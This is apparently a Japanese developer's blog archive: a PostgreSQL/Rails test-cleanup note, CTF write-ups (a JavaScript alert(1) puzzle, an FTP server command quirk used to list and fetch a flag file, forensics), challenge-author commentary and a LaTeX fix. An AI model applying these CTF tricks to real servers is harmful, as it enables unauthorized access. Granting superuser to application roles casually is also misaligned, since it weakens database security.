DatabaseRewinder With Rails 4.2 & PostgreSQL

Rails 4.2で新規プロジェクトを作ってPostgreSQLを使ったときにDatabaseRewinderが使えなかった話。私が使っていたのがDatabaseRewinderだったという話でたぶんDatabaseCleanerでも同じ現象は起こると思う。というかdisable_referential_integrityを使っている限り起こると思う。

あとRails 4.2で外部キー制約をサポートしたから今ハマっただけで、実際のところ自分で外部キー制約を付与するとかしてたら同じ問題が起きていたはずで、ハマりやすくなった、というだけだとも思う。

原因

  • Rails 4.2からmigrationにおいて外部キー制約をサポートした(ref: Ruby on Rails 4.2 Release Notes)。scaffoldとかでreferencesbelongs_toを使うと、生成されるmigrationファイルにはadd_foreign_keyが使われる。

  • PostgreSQLでは外部キー制約はシステムトリガーでチェックされている。

  • システムトリガーはスーパーユーザーでないと無効に出来ない。そのデータベースやテーブルのオーナーでも不可。

  • DatabaseRewinderはdisable_referential_integrityを使ってトリガーを無効にするが、上述の理由によりスーパーユーザーでないと無理。

  • トリガーを無効にしようとした時点で例外が出て、トランザクションはロールバック、同一トランザクションの後続クエリは無視される。

  • 例外が出てるのでテストは失敗する。

ちなみにここでいう「スーパーユーザー」はPostgreSQLのroleの話であって、システムのスーパーユーザーとは関係ない。

解決策

  • スーパーユーザーでテストを走らせる。テストを動かすユーザーをスーパーユーザー権限を持ったユーザーに変更するか、テスト用のユーザーにスーパーユーザー権限を付与する:
1
ALTER ROLE username WITH SUPERUSER;

当たり前だがスーパーユーザー権限の付与にはスーパーユーザー権限が必要。

  • (一時的に)外部キー制約を外す。

  • PostgreSQL使うのやめる(他のデータベースでどうなるのかは調べてない)。

ダメだった方法

  • migrationのadd_foreign_keyon_deleteオプションをcascadenullifyにしてみる。

on_delete: :cascadeにしてみたがダメだった。解決しない理由は、「スーパーユーザーでないのにトリガーを無効にしようとした」後に来るDELETE文の発行までそもそも辿り着いてないからだと思う。

つまるところ、外部キー制約に違反するかどうかは問題ではないという感じがある。

(2015-03-13 追記)

ダメじゃなくなるかもしれない方法

ActiveRecord::ConnectionAdapters::PostgreSQL::ReferentialIntegrity#supports_disable_referential_integrity?falseを返すようにすれば、そもそも問題のdisable_referential_integrityが呼ばれない。このとき、上記のようにon_delete: :cascade(or :nullify)を指定して、外部キー制約に違反したときにDELETEが失敗しないようになっていれば、特に問題なく動作を続行できるはず。

※試してない。

Links

この記事に「制約外せるのにその制約をチェックするトリガーを無効に出来ないのっておかしな話だよな」みたいなコメントがあって、確かになぁという気分になった。

SECCON 2014 Online Qualification (December) Write-up

Welcome to SECCON (Start 100)

The answer is “SECCON{20141206}”.

答えは、「SECCON{20141206}」です。

驚くべきことに問題ページに答えが書かれている。なんと楽な問題なのだろう。

Answer: SECCON{20141206}

jspuzzle (Web 100)

jspuzzle.zip

You need to fill in all blanks!

jspuzzle.zipを展開するとq.htmlsha1.jsがある。sha1.jsはJavaScriptでSHA-1のハッシュ値を計算するライブラリの模様。本体はq.html

HTMLファイルを開くと穴あきになったJavaScriptのコードと、空いている箇所に埋めるピースとなる語が表示されている。目標はピースをはめていって、alert(1)を実行するコードにすること。フラグの値は埋めたピースから計算されたSHA-1ハッシュ値。問題文には「全ての空欄を埋めよ」とあるので、ちゃんと全部埋める。当然ながら一度使ったピースは二度使えない。

コードは次の通り("???"が空欄の箇所)。

1
2
3
4
5
6
7
8
"use strict";

({"???" :function(){
    this[ "???" ] = (new Function( "???" + "???" + "???" ))();
    var pattern = "???";
    var r = new RegExp( pattern );
    this[ r[ "???" ]( pattern ) ][ "???" ]( 1 );
}})[ "???"[ "???" ]() ]();

ピースは次の通り。

  • fromCharCode
  • indexOf
  • match
  • this
  • new
  • null
  • charAt
  • alert
  • constructor
  • /^_^/
  • return
  • pattern
  • toLowerCase
  • exec
  • eval
  • debugger
  • function
  • ^[w]$

外側から見ていく。連想配列を生成して、その連想配列のある要素を関数として呼び出すコードがある。値はfunction () { ... }で固定で、キーの方が抜けている。また要素を取り出すときに"???"["???"]()をキーにしている。書き換えれば"???".someMethod()なので、後者の方はStringに対するメソッドだと推測出来る。また、最初の空欄とこのメソッド呼び出しの結果が一致しなければならないから、最初の空欄がfunction、最後の2つの空欄がFunctiontoLowerCaseとなる。

本題の内側の方。4行目は何かしらの関数を生成してそれを実行した結果をこの連想配列に代入している。ということは、new Function("...")の中身は何かを返さねばならないので、3つの空欄のうち最初はreturnである。また7行目を見ると最終的にここで返した何かに対してメソッド呼び出しを行っている。引数が1なのでalertが来ることは明らかである。よってここはwindowを返したい。だが3つの空欄は単純な文字列連結なので空白がない。これでしばらく悩んだが、よく見ると/*^_^*/はコメントである。まさかと思って2番目にこれを入れて、3番目にthisを入れたところ、見事にwindowが返ってきた。ちなみにthisを入れたのは他に選択肢がなかったからで、JavaScriptのthisの仕様はさっぱり理解してない、というか出来る気がしない。なんで左辺のthisは連想配列自身なのに右辺の関数内のthiswindow(たぶん外側で関数呼び出しを実行してる時点でのthis)なんだ…。ここまで固まったついでに5行目の2番目の空欄がalertであることも確定。

さて、7行目の最初の空欄だが、rはRegExpのインスタンスなのでここに入れられるのはexecconstructorくらいしかない。constructor入れたところでthis[/pattern/][alert](1)になって意味不明なのでexecを入れる。そうすると、4行目に先ほどの関数を代入した先のキーとr.exec(pattern)の結果が一致しなければならない。だが先ほど使ったようなfunction"Function".toLowerCase()の手は使えない。ところで、このとき調べて初めて知ったのだが、test["null"] = "hoge"; console.log(test[null])hogeを出力する。マジかよと思って実行して唖然とした。JavaScriptヤバすぎるのでゎ。……でなんでそんな話をしたかというとちょうどピースにnullが入っていて、かつpattern = "^[w]$"とするとr.exec(pattern)nullを返すのである。

——というわけで空欄にnull^[w]$を埋めて完了。alert(1)が実行されるのを確認してフラグを送信して終了。

this["null"] = ...の部分は@yyuがいなければ無限に悩んで死亡していた。連想配列のキーの比較どうなってるんだよマジ。

Answer: SECCON{3678cbe0171c8517abeab9d20786a7390ffb602d}

Easy Cipher (Crypto 100)

87 101 108 1100011 0157 6d 0145 040 116 0157 100000 0164 104 1100101 32 0123 69 67 0103 1001111 1001110 040 062 060 49 064 100000 0157 110 6c 0151 1101110 101 040 0103 1010100 70 101110 0124 1101000 101 100000 1010011 1000101 67 0103 4f 4e 100000 105 1110011 040 116 1101000 0145 040 1100010 0151 103 103 0145 1110011 0164 100000 1101000 0141 99 6b 1100101 0162 32 0143 111 1101110 1110100 101 0163 0164 040 0151 0156 040 74 0141 1110000 1100001 0156 056 4f 0157 0160 115 44 040 0171 1101111 117 100000 1110111 0141 0156 1110100 32 0164 6f 32 6b 1101110 1101111 1110111 100000 0164 1101000 0145 040 0146 6c 97 1100111 2c 100000 0144 111 110 100111 116 100000 1111001 6f 117 63 0110 1100101 0162 0145 100000 1111001 111 117 100000 97 114 0145 46 1010011 0105 0103 67 79 1001110 123 87 110011 110001 67 110000 1001101 32 55 060 100000 110111 0110 110011 32 53 51 0103 0103 060 0116 040 5a 0117 73 0101 7d 1001000 0141 1110110 1100101 100000 102 0165 0156 33

十進法の値と二進法の値と八進法の値と十六進法の値が入り乱れている気がするテキスト。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
class String
  def parse
    case
      when self.start_with?('0')
        self.to_i(8)
      when self =~ /\A[01]+\z/ and self.length > 3
        self.to_i(2)
      when self =~ /[a-f]/
        self.to_i(16)
      else
        self.to_i(10)
    end
  end
end

data = gets.strip.split(' ')
puts data.map(&:parse).map(&:chr).join

Answer: SECCON{W31C0M 70 7H3 53CC0N ZOIA}

Choose the number (Programming 100)

nc number.quals.seccon.jp 31337

sorry fixed URL

ncすると数列と問題が流れてくる。サンプルは以下の通り。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
-5, -9
The minimum number? -9
6, 7, -4
The minimum number? -4
1, -7, 7, 1
The maximum number? 7
6, 8, -5, -4, -5
The minimum number? 8
-3, -5, -8, -6, -1, 0
The maximum number? 0
-1, 1, 4, 2, -6, -6, 0
The maximum number? 4
0, 4, -2, 1, 9, -9, 7, -4
The maximum number? 114514
Wrong, bye.

与えられた数列に対して、その中での最大値もしくは最小値を答える。Rubyで入力を,で区切って数値化してEnumerable.(max|min)で答えるプログラムを書いた。入出力のデバッグで10分は取られてすごくつらい。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
require 'socket'

SERVER_URI = 'number.quals.seccon.jp'
SERVER_PORT = 31337
LOG_NAME = 'comm.log'

def read_question(sock)
  s = ''
  while true
    c = sock.getc
    if c == '?'
      s << c
      s << sock.getc # whitespace
      break
    elsif c.nil?
      break
    end
    s << c
  end
  s
end

begin
  sock = TCPSocket.open(SERVER_URI, SERVER_PORT)
  file = File.open(LOG_NAME, 'a')

  num_str = ''
  qstr = ''

  while true
    num_str.clear
    qstr.clear

    num_str = sock.gets
    if num_str.include?('bye')
      fail 'connection closed by host'
    end

    qstr = read_question(sock)
    file.puts num_str
    file.print qstr
    file.flush

    nums = num_str.split(',').map(&:strip).map(&:to_i)
    qstr.strip!
    ans =
      case qstr
      when 'The minimum number?'
        nums.min
      when 'The maximum number?'
        nums.max
      else
        fail 'unknown question'
      end
    file.puts ans
    sock.puts "#{ans}\n"
    sock.flush
    file.flush
  end
rescue => e
  puts 'something went wrong!'
  p e
  puts 'num_str = ' + num_str unless num_str.empty?
  puts 'qstr = ' + qstr unless qstr.empty?
ensure
  file.close
  sock.close
end

ちなみにsock.putsで答えを投げてるところに改行文字を入れてなかったのでバグってた。そんなのアリかよ(putsはそもそも改行を最後に入れるはずでゎ……)。しかしWiresharkで通信見たら問題の送信タイミングがおかしくて、それで気付いたのでやはりWireshark最強。

Get from curious “FTP” server (Network 300)

ftp://ftpsv.quals.seccon.jp/

Chromeで見に行くとCOMMAND_NOT_SUPPORTEDとか言われてダメ。よくわからないのでとりあえずFTPコマンド一覧を片手にtelnet。

ログインしろと言われるがanonymousしかないと言われるのでUSER anonymousで接続。とりあえずPWDしてみると/にいる。じゃあLISTしてみるかと思ってLISTすると”not implemented”と言われる。そんなFTPサーバーがあるか。仕方ないので片っ端からコマンドを試そうとする。一覧の一番上はABORだったけど、さすがに何も転送してないのにABORしても仕方ないと思って、その次のACCTにしてみる。そうするとPORTPASVをしろと言われる。え、アカウント情報の転送って転送用のコネクションいるんですか、と思いながら電卓片手にPASVを叩いて、別のターミナルで指定のポートにtelnet(なんでncじゃなかったんだろう)。一応念のためもう一度LISTしてみたけど相変わらず未実装らしいのでACCTを投げると、なぜかLIST相当の処理が走って別ターミナルにファイル一覧が流れてきた。何が起きたかさっぱりわからないが、「key_is_in_this_file_...」みたいなファイルがいるらしいので、RETRコマンドでそのファイルを持ってくる。

Answer: SECCON{S0m3+im3_Pr0t0c0l_t411_4_1i3.}

参考までに通信内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
% telnet ftpsv.quals.seccon.jp 21
Trying 133.242.224.21...
Connected to ftpsv.quals.seccon.jp.
Escape character is '^]'.
220 (vsFTPd 2.3.5(SECCON Custom))
USER anonymous
331 Please specify the password.
PASS pass
230 Login successful.
PWD
257 "/"
LIST
502 LIST not implemented.
ACCT
425 Use PORT or PASV first.
PASV
227 Entering Passive Mode (133,242,224,21,252,27).
LIST
502 LIST not implemented.
ACCT
150 Here comes the directory listing.
226 Directory send OK.
PASV
227 Entering Passive Mode (133,242,224,21,255,82).
RETR key_is_in_this_file_afjoirefjort94dv7u.txt
150 Opening BINARY mode data connection for key_is_in_this_file_afjoirefjort94dv7u.txt (38 bytes).
226 Transfer complete.

別ターミナルの方。

1
2
3
4
5
6
7
8
9
10
11
12
13
% telnet ftpsv.quals.seccon.jp 64539
Trying 133.242.224.21...
Connected to ftpsv.quals.seccon.jp.
Escape character is '^]'.
-rw-r--r--    1 0        0              38 Nov 29 04:43 key_is_in_this_file_afjoirefjort94dv7u.txt
Connection closed by foreign host.

% telnet ftpsv.quals.seccon.jp 65362
Trying 133.242.224.21...
Connected to ftpsv.quals.seccon.jp.
Escape character is '^]'.
SECCON{S0m3+im3_Pr0t0c0l_t411_4_1i3.}
Connection closed by foreign host.

Making a bot (Programming 0)

この辺で解けそうな問題がなくなり人権を失ったが、@re_Ordが問題を解いたというので、Slack上でいいね!ができるようにbotに手を入れ始めた。つまるところ別のことをし始めた。

元々hubotで(主に@opが使う)違法語句に対して全自動で:fu:を投げ付けるbotを書いていたのでそこに追加する形で実装した。永続化ストレージはなんかRedisの例ばかりだったのでとりあえずRedisにした。永続化ストレージをくっつけたついでに、違法語句を使用したときにお前の罪を数えろと言わなくていいようにkarmaポイントを記録するようにした。これで積極的に(主に@opに)罪の精算を迫っていこうと思う。最初の+1は@re_Ordに捧げられた。+1。

ただ違法語句を使用したときに:fu:が飛ぶという仕様のせいで、botの名前をkogasa-chanにできないしアイコンに小傘ちゃんを使うこともできなくなった。あのかわいい小傘ちゃんは中指など飛ばさないのである。悩ましいことである。

Tkbctf4 [Misc 400] Amida

Cheer of CPUに続きましてmisc 400、amidaでございます。

この問題は私と@yuscarletによる作成です。

問題

203.178.132.117:42719

Ghost Leg - Wikipedia, the free encyclopedia

現在問題文中のサーバーは停止しています。こちらもソースコードはgithubで公開されていますので、試したい方はどうぞ。tkbctf4/misc400_amida at master · tkbctf/tkbctf4

なお実際の問題はfafrotskiesというCPUを100%持っていく素敵な自作サーバーと連携して動作していました。

問題中に英語版Wikipediaの”Ghost Leg”の記事にリンクが張ってありますが、「あみだくじ」って英語では”Ghost Leg”というそうです。

概要

所定のサーバーにアクセスすると無駄なようこそメッセージの後にBase64な文字列が降ってきます。これをデコードするとPNG画像が現れます。画像の内容はあみだくじの画像で、縦棒の各上端(始点)に番号が振られていて、縦棒のうち1つの下端(終点)に黒丸があります。黒丸に辿り着くような始点の番号をサーバーに送りつけて、正解なら次の問題が送られてきて、不正解ならその場で切断されます。こんな感じで1ステージ50問×20ステージ、計1000問解くとフラグが降ってきます。

とはいえまぁ単純なあみだくじを1000問も解かせるなんてことはないわけです。5ステージを1つのブロックとすると4つのブロックがあるわけですが、最初のブロックから次のような感じであみだくじが変化していきます。

  1. 普通のあみだくじ
  2. 横線が波線になる(横線の始点と終端のy座標は同じ)
  3. あみだくじが回転する(0°〜359°)
  4. 横線が波線になり、かつ回転する

で、各ブロックの最初のステージでは縦線が4本ですが、次のステージでは5本、その次では6本……となり、ブロックの5ステージ目では縦線が8本になります。次のブロックに進むと縦線の数は4本に戻り再び8本まで増えていきます。

この辺はリポジトリのcasegenを参照してください。casegenはステージ数を受け取ってそれを元にamida_evに渡す引数を変えるRubyスクリプトです。amida_evgenerator.cppをコンパイルしたバイナリで、それに渡す引数で生成されるあみだくじが変わるようになっています。-rで回転、-wで波線、-nNで縦線がN本になります。

なお、さすがに全問解かないとフラグが来ないのでは時間的に誰も辿り着けない可能性があったので、問題投入後しばらくしてから各ブロックの終了時にチェックポイントを追加し、結果的に配点が変わりました。元々最終フラグのsubmitで300点でしたが、チェックポイント3つと最終フラグ1つの計4つのフラグにそれぞれ100点を割り振り合計400点の問題となりました。

結局競技時間内に最終フラグをsubmit出来たチームはありませんでしたが、非常に惜しいことになっていたチームがあったようで……

私「(最終)フラグはcheckpointじゃない」

プログラムについて

地味に面倒なことをしています。元々単純に縦線を描画して、y座標をランダムに生成してそこに横線を描く(なお横線が直線だとは言っていない)、という実装だったんですが、横線が連続してしまうケースとか、終端に横線がくっついてしまうケースとかがあって、その辺を調整した上で横線の座標を決定する辺りを@yuscarletに書いてもらいました。それ以外にはオプションのパースの実装も書いてもらっています。

なので私はあまりその辺のロジックはあまり苦労してなくて(逆に言うとロジックで面倒なところは全部やってもらった)、むしろ私を苦しめたのはcairoだったのでした……。何が一番つらかったかってPNG画像をファイルに吐くか、吐き出すデータ(unsigned char*)を受け取るコールバックを指定して吐き出すかのどちらかしか選択肢がなくて、「えっ適当なバッファに全部吐き出す関数とかそういうのないんですかファイルに出力する関数はあるのにえっ?」ってなってました。しかもコールバックに渡されるデータはどうやら「逐次」渡され、PNGファイル全体を出力するまでコールバックは複数回呼ばれるという仕様でいよいよ私の睡眠時間は0に近付いていきましたとさ。

そんな感じで、久々にグローバルにunsigned char *bufferとかいう変数を宣言しつつ、あとは適当にネットに転がっているbase64の実装を拾ってきてバッファ上のPNGファイルデータをエンコードして出力するようなプログラムを仕上げました。

ちなみに私が元々「サンプル実装」として書いたコードが出発点なせいで相当なクソコードになってたのでtkbctf4前半(1日目)終了後に書き直した上でbase64エンコードとかその辺追加してました。時間がないときに限って書き直したくなる法則が発動しました。おかげで寝られませんでした。

感想とか諸々

元ネタ

名前が名前だけに気付いている人もいましたが、この問題の元ネタは夏に行われたSECCON 2014オンライン予選で出題された「あみだくじ」です(リポジトリのREADMEにも記述しています)。

「あみだくじ」でやることとしてはこの問題と同じで所定の終端に辿り着く始点の番号をひたすら答えるとフラグがもらえる、という問題でした。この問題と異なる点はこんな感じ。

  • あみだくじが画像じゃない(アスキーアート)
  • あみだくじがbase64じゃない
  • あみだくじが任意の角度に回転しない(アスキーアートだし)
  • あみだくじが上下反転する(180°の回転ではなくて上下のフリップという感じ)
  • 実行バイナリが配布される形式であり、ローカルで試行出来る
  • 何度実行しても出題される内容や順序は全く同じ
  • 出題の度にsleepが挟まれている

元ネタになった問題を解いたのも私と@yuscarletでして、まぁなんというか地味に苦しめられたというかなんというか。「任意の」角度には回転しないもののあみだくじが横向きになるとかはあって、形式が変わったためにプログラムが例外吐いて死ぬ度に私たちも悲鳴を上げながらプログラムを修正していく作業をひたすらしてました(最終的には総当たりしたんですけど)。それはともかく、その記憶がまだ鮮明に残っている中で私と@yuscarletで酒を飲んでるときに「なんかもっと嫌らしい『あみだくじ』作れねえかな」みたいな話になって、まずは画像化しようって話になって、「画像化してもなんか世の中には線認識ライブラリくらい転がってるから大丈夫じゃろw」とか言いながら適当にサンプル的な出題プログラムの実装書いてたらマジでそのまま問題になっちゃったって感じです。この段階ではもっと強烈な加工をかけることも考えてましたが自分たちで解法が実装どころか思いつきすらしなかったのでやめました。

まぁそういうわけで、つまるところ酔った勢いみたいなところは大いにあるわけで、

決して恨んでるわけではないです……はい……。(むしろ前述のfafrotskiesがCPUを100%持っていくので私が鯖管に恨まれている可能性の方が高い)

あとは元ネタの方のwrite-upを書いてあるのでそちらで。 SECCON 2014 オンライン予選 【あみだくじ】

難易度、解法とか

元ネタとの相違で挙げた最後の2点だけでもぼちぼち難易度違ったんじゃないかなぁと思っています。というのも、ローカルで試行出来て何度やっても同じということはトライアンドエラーがいくらでも効くということで、実際私たちはこの問題を総当たりで解いています(sleepはopに潰してもらいましたが)。”amida”では問題生成はサーバー側で、しかも毎回ランダムに問題が生成されるのでそういうわけにはいかず、まともにあみだくじのソルバを書く必要があります。といっても、あみだくじの構造さえわかってしまえばソルバの実装自体は大して難しくはなくて、事実上「いかに回転する画像と戦いながら画像を認識するか」という問題だったと思います(横線が波線になるのは回転に比べれば大した問題ではないです)。

ちなみに初期の段階での想定解実装はOpenCVを使っていて、波線にした瞬間爆死したので真面目に線の認識をすると逆に死ぬんじゃないかと思います。その辺上手く手抜き(?)して直接ピクセルデータ見に行って云々ってやった方が確実ですし、そもそもOpenCVとか入れなくていいんで幸せになれたのではないでしょうか。

チェックポイント追加後のフラグ送信スピードとか見てるとやっぱ回転する辺りが大きな関門になってたのかなぁという印象です。黒丸のy座標を使うとか色々方法はあったようですが、ぶっちゃけこちらの想定解よりよほど頭のいい解法を皆さん考えられててすごいなぁと思って見てました(小並感)。

最後に

酔った勢いでも問題のアイディアは出てくるので、作問で詰まったら酒を飲もう!!!!(確か日本酒飲んでた気がする)

Tkbctf4 [Bin300] Cheer of CPU

tkbctf4が終了してからずいぶんと時間が経ちましたが皆様いかがお過ごしでしょうか。今更ではありますが[bin300] Cheer of CPUの解説というか、そんなようなものを書いてみようかと。

なお、問題のソースコードと配布されたバイナリはtkbctfのgithubリポジトリにあるので、そちらもどうぞ。 tkbctf4/bin300_CheerOfCPU at master · tkbctf/tkbctf4

問題

Did you hear a cheer of CPU?

The flag is the SHA-256 checksum of the program’s output.

sample: ruby -rdigest/sha2 -e 'puts Digest::SHA256.hexdigest("OUTPUT HERE".strip).downcase'

https://s3-ap-northeast-1.amazonaws.com/tkbctf4/cheerofcpu

概要

問題の内容としてはあるプログラムが渡されるのでそれを調べる、というものです。プログラムは何かしら入力するとそれが所定の文字列と一致するかを調べ、一致していたら何らかのテキストを出力します。そのテキストのSHA256値を取って送りつければ得点となります。これだけ聞くととっても簡単ですが問題はコイツが64bit Mach-Oバイナリということでした。

経緯

元々は「なんか怪しげな言語でバイナリ吐いて読ませるような問題を作ろうぜ」というのが出発点です。様々な言語が候補に現れては消えていきましたが、私がちょうどMacを持ってるということでSwiftに白羽の矢が立ちました。(ちなみにこの発想から作られたもうひとつの問題は”rakuda”です。あの問題、なんか別ゲーになってる気がしますけど)

たださすがに当初はx86_64 Mach-Oで出すという想定はしていませんでした。が、コマンドラインアプリケーションとして作ってしまったのでiOSアプリにすることもできず、かといってSwiftコンパイラがそもそもx86環境向けのバイナリを吐けるようにできていないので、まぁそういう問題もありかなみたいな判断で結局x86_64 64bit Mach-Oで出題しました。

たださすがにMac OS X 10.10 (Yosemite) SDK使ったのはやりすぎだったかなと反省しております(とはいえ、私の環境には1つ前のバージョン、すなわち10.9 MavericksのSDKまでしか入ってなかったわけですが)。

プログラムに関して

というわけではじめてのSwiftかいはつ、となったんですがなんかSwiftの記法が結構キモくて大変でした(※個人の感想です)。あとSwiftって識別子に絵文字が使えることで有名ですが、なんかどっかで関数名見えたら嫌だなぁとか思ったので絵文字を使ったところgithubで見事に化けました。実際はこんな感じの開発風景でした。

screenshot of Cheer of CPU development environment

なんとなく格納されてるデータとか関数の役割とかが見えてきますね! 見えてきませんか? 見えてくるんでしょう? ……そうなんでしょ?

文字通りにクソみたいな見た目のコードは置いておいてその内容について触れておきます。内部でテキストデータは基本的にByte(UInt8)の配列とIntの配列のタプルで保持されています。strings対策ですね。タプルの1つ目の要素がシャッフルされ、暗号化された状態のテキストのバイト列、2つ目の要素がシャッフル順です。シャッフルと書きましたが、テキストのバイト列はシャッフルされた後に暗号化された状態で保持されており、元の順番に復元するための情報が2つ目の要素にある配列、ということになります。暗号化は単純なxorですが、1要素暗号化する度にキーが変化するようになっています。その辺はソースコードを見て頂ければ。なお、最終的に出力されるテキストデータだけは、正解のキーを元にして生成された暗号化鍵と初期化ベクタを用いて、ChaCha20で暗号化された状態で保持しています。ちなみにChaCha20採用の理由ですが、CryptoSwiftに入っていたから以外に特に理由はないです。

動作としては概要で述べたもので、起動すると入力待ちになるので「キー」を入力します。これを内部で保持しているデータと比較し、一致していればそのキーを用いて鍵と初期化ベクタを生成し、テキストデータを復号化して出力します。

作ってみた・出してみた感想とか諸々

問題の難易度的には明らかに「プログラムが動く(または解析出来る)環境を用意出来るか否か」がハードルという感じでしたね。動かせる環境(Yosemite)があれば総当たりで行ける問題だなぁとか元々思ってたので事実上CTFプレイヤーにおけるMac普及率調査みたいになっていた感じもあります。別にApple信者でもなんでもないのでMac買ってくださいとは言いませんが。あるいはIDA Pro(無料版でない)があれば解析可能だったかと思います。私は持ってませんがopがやってたのでたぶん大丈夫だったんでしょう、たぶん(ていうかtkbctf4のバイナリ問はIDA Pro Freeで解析可能な問題の方が少なかったという異常事態でしたね)。

皆さんはこの無駄に高いハードルを超えて(Macを買うにしろIDA Proを買うにしろ『素人が購入するとは考えにくい』お値段故、素人ではないであろう皆さんでも難しいでしょう)「CPUの歓声」を聞くことは出来たでしょうか。

ちなみに、これ出題してから”tkbctf”とか色々なワードでTwitterで検索かけてまして、64bit Mach-Oバイナリに思わず「歓声」を上げる皆さんを見て爆笑してたりしました(こういうのを性格が悪いと言います)。

あとタイトルの元ネタの鮮度がちと古かった気がするなぁという感もあります。ソースコード上げたリポジトリのREADMEにも書きましたが、皆さん覚えているでしょうか。時は5ヶ月前、2014年6月。WWDC 2014で世にSwiftが発表され、The Swift Programming Languageが公開された後にTwitterを席巻した、あの衝撃の発言を。

(もちろんこの前後にもとても素晴らしい発言があるわけですが)

Swiftの関数はHaskell風、マシン語が透けて見える、CPUの歓声が聞こえてきそう——もう見るだけで頭がクラクラしてきそうな圧倒的で革新的で先進的で最も優れた表現力を持ったこのツイートに感銘を受け、今回の問題はSwiftで書かれているということで、このツイートをリスペクトして問題名にしました。このような素晴らしいツイートを世に送り出してくださったRyo Shimizu(@shi3z)氏にはこの場を借りて感謝の意を述べさせて頂きます。

しかしながら、個人的に「マシン語が透けて見える」というとこちらの方を推しておきます。

最後に

小傘ちゃんかわいい。

YosemiteでSublime Text 3 + LaTeXToolsを使ったらPDF出てこない話

覚え書き。

今日公開されたMac OS X Yosemite (10.10)に早速更新したところ、Sublime Text 3 + LaTeXToolsの環境でLaTeXをビルドしてもPDFが出力されなくなった。

この問題はYosemiteがbetaの時点でアップグレードして報告した猛者がいた。LaTeXTools on OS X 10.10 · Issue #401 · SublimeText/LaTeXTools

opened this issue on 5 Jun

(白目)

症状としては上述の通り。ビルドを実行したときにコンソールへ吐き出されているログはこんな感じ。

1
2
3
4
5
6
7
8
9
10
Welcome to thread Thread-13
['latexmk', '-cd', '-e', "$latex = 'uplatex %O -interaction=nonstopmode -synctex=1 %S'", '-e', "$biber = 'biber %O --bblencoding=utf8 -u -U --output_safechars %B'", '-e', "$bibtex = 'upbibtex %O %B'", '-e', "$makeindex = 'makeindex %O -o %D %S'", '-e', "$dvipdf = 'dvipdfmx %O -o %D %S'", '-f', '-norc', '-gg', '-pdfdvi', 'report.tex']
Finished normally
12
Exception in thread Thread-13:
Traceback (most recent call last):
  File "./threading.py", line 901, in _bootstrap_inner
  File "/Users/mayth/Library/Application Support/Sublime Text 3/Packages/LaTeXTools/makePDF.py", line 147, in run
    data = open(self.caller.tex_base + ".log", 'rb').read()
FileNotFoundError: [Errno 2] No such file or directory: '/Users/mayth/Documents/report.log'

report.{pdf,log}。察して。

それはともかく、どうやらこれはYosemiteでデフォルトのPATHの値が変わっているのが原因らしい。そこで、肝心のコマンドを呼んでいるところでPATHを追加してあげればよい。

LaTeXTools on OS X 10.10 · Issue #401 · SublimeText/LaTeXToolsから引用すると

proc = subprocess.Popen(cmd, stderr=subprocess.STDOUT, stdout=subprocess.PIPE, env=os.environ)

これはmakePDF.pyの中に含まれている。MacではmakePDF.pyは以下のパスにある。

1
$HOME/Library/Application Support/Sublime Text 3/Packages/LaTeXTools/

パス辿るのが面倒ならPreferences -> Browse Packagesを使えばPackagesフォルダがFinderで開かれるので、その中のLaTeXToolsを見ると存在するはず。

現時点では当該の記述は95行目にある。その行に上記引用のように、env=os.environを追記すると上手く動くようになった。

CSAW CTF 2014 Quals Forensics

CSAW CTF 2014 Quals、Forensicsのwrite-upです。私が解いたのはForensicsの4問中、200点のObscurityを除いた3問です。

[100] dumpster diving

問題文

dumpsters are cool, but cores are cooler

Written by marc

firefox.mem.zip

解答

Answer: cd69b4957f06cd818d7bf3d61980e291

与えられるのは’firefox.mem.zip’で、コアダンプです。私が取りかかった時点で既に他のメンバーからbinwalkしてみたらSQLiteのなんかが見えていると報告がありました。Firefoxのコアダンプであれば何か見えててもおかしくないですね。

とりあえずstringsで何か見えないかなと思ってstringsの出力結果を’flag’でgrepしてみます。

1
2
3
4
5
(前略)
etablemoz_annosmoz_annos CREATE TABLE moz_annos (  id INTEGER PRIMARY KEY, place_id INTEGER NOT NULL, anno_attribute_id INTEGER, mime_type VARCHAR(32) DEFAULT NULL, content LONGVARCHAR, flags INTEGER DEFAULT 0, expiration INTEGER DEFAULT 0, type INTEGER DEFAULT 0, dateAdded INTEGER DEFAULT 0, lastModified INTEGER DEFAULT 0)
ZZZZZZZZflag{cd69b4957f06cd818d7bf3d61980e291}
ZZZZZZZZZZZZZZTransparent BG enabling flag
(後略)

マジで見つかりました。本当にありがとうございました。

[200] why not sftp?

問題文

well seriously, why not?

Written by marc

traffic-5.pcap

解答

Answer: 91e02cd2b8621d0c05197f645668c5c4

与えられる’traffic-5.pcap’をとりあえずWiresharkで見てみます。問題名が’why not sftp?‘なんだし、きっとFTP通信でなんかやってるだろうと思ってftpとftp-dataでフィルタします。通信を追っていくと’/files/zip.zip’をダウンロードしています。当該するdataの方の通信をFollow TCP Streamするとflag.pngとか書いてあるのでまず間違いなさそうです。ftp-dataのパケットからzip.zipを抽出します。

取り出したzip.zipはパスワードも何もかかっていないのでそのまま展開します。するとflag.pngが展開され、それにフラグが書かれていました。

余談ですが、HTTPでやりとりしたファイルはWiresharkのExport Objectsから取り出せますが、FTPの場合はデータ通信の方をFollow TCP StreamしてRawで保存すればよいことをお勉強しました。

[300] Fluffy No More

問題文

OH NO WE’VE BEEN HACKED!!!!!! – said the Eye Heart Fluffy Bunnies Blog owner. Life was grand for the fluff fanatic until one day the site’s users started to get attacked! Apparently fluffy bunnies are not just a love of fun furry families but also furtive foreign governments. The notorious “Forgotten Freaks” hacking group was known to be targeting high powered politicians. Were the cute bunnies the next in their long list of conquests!??

Well… The fluff needs your stuff. I’ve pulled the logs from the server for you along with a backup of it’s database and configuration. Figure out what is going on!

Written by brad_anton

CSAW2014-FluffyNoMore-v0.1.tar.bz2

解答

Answer: Those Fluffy Bunnies Make Tummy Bumpy

与えられたアーカイブを展開すると、etc_directory.tar.bz、logs.tar.bz2、webroot.tar.bz2、mysql_backup.sql.bz2の4つのファイルが出てきます。それぞれ、etc以下、/var/log以下、/var/www以下を固めたもので、mysql_backup.sql.bz2はmysqldumpの出力結果をbzip2で圧縮したものです。

